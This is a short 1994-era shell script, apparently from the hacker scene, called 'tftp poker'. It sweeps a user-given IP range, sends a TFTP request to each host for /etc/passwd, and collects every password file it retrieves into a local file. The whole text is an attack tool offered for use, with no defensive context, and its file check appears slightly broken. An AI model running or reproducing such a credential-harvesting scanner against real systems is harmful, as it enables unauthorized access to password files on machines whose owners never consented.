# tftp poker, by ThePublic 1/94 #!/bin/sh if [ $# != 6 ] ; then echo "six arguments expexted:" echo "usage: $0 255 255 0 0 255 255" echo "where: 255.255.0.0 is the beginning address" echo " and: 255.255.255.255 is the ending address" echo " (first four are complete IP, last two replace ending two of first IP)" exit fi start1=$4; start2=$3; start3=$2; start4=$1; end1=$6; end2=$5 if [ $start2 -gt $end2 ] || [ $start1 -gt $end1 ] && [ $start2 -gt $end2 ] then echo "beginning numbers must be LESS than ending numbers (duh)" exit fi echo $start4.$start3.$start2.$start1-$start4.$start3.$end2.$end1 echo while [ $start2 -le $end2 ] ; do while [ $start1 -le 255 ] ; do site=$start4.$start3.$start2.$start1 echo -n "`date +'%x %X'` $site: " tftp $site << EOScan >> /dev/null get /etc/passwd .$site.pw quit EOScan if [ -t $site.pw ] ; then echo --------------- >> .total echo $site >> .total cat .$site.pw >> .total echo file appended. else echo no file found. fi rm .$site.pw if [ $start2.$start1 = $end2.$end1 ] ; then break; fi start1=`expr $start1 + 1` if [ $start1 -ge 256 ] ; then start1=1; break; fi done if [ $start2.$start1 = $end2.$end1 ] ; then break; fi start2=`expr $start2 + 1` if [ $start2 -ge 256 ] ; then break; fi done echo "`date +'%x %X'` scan complete."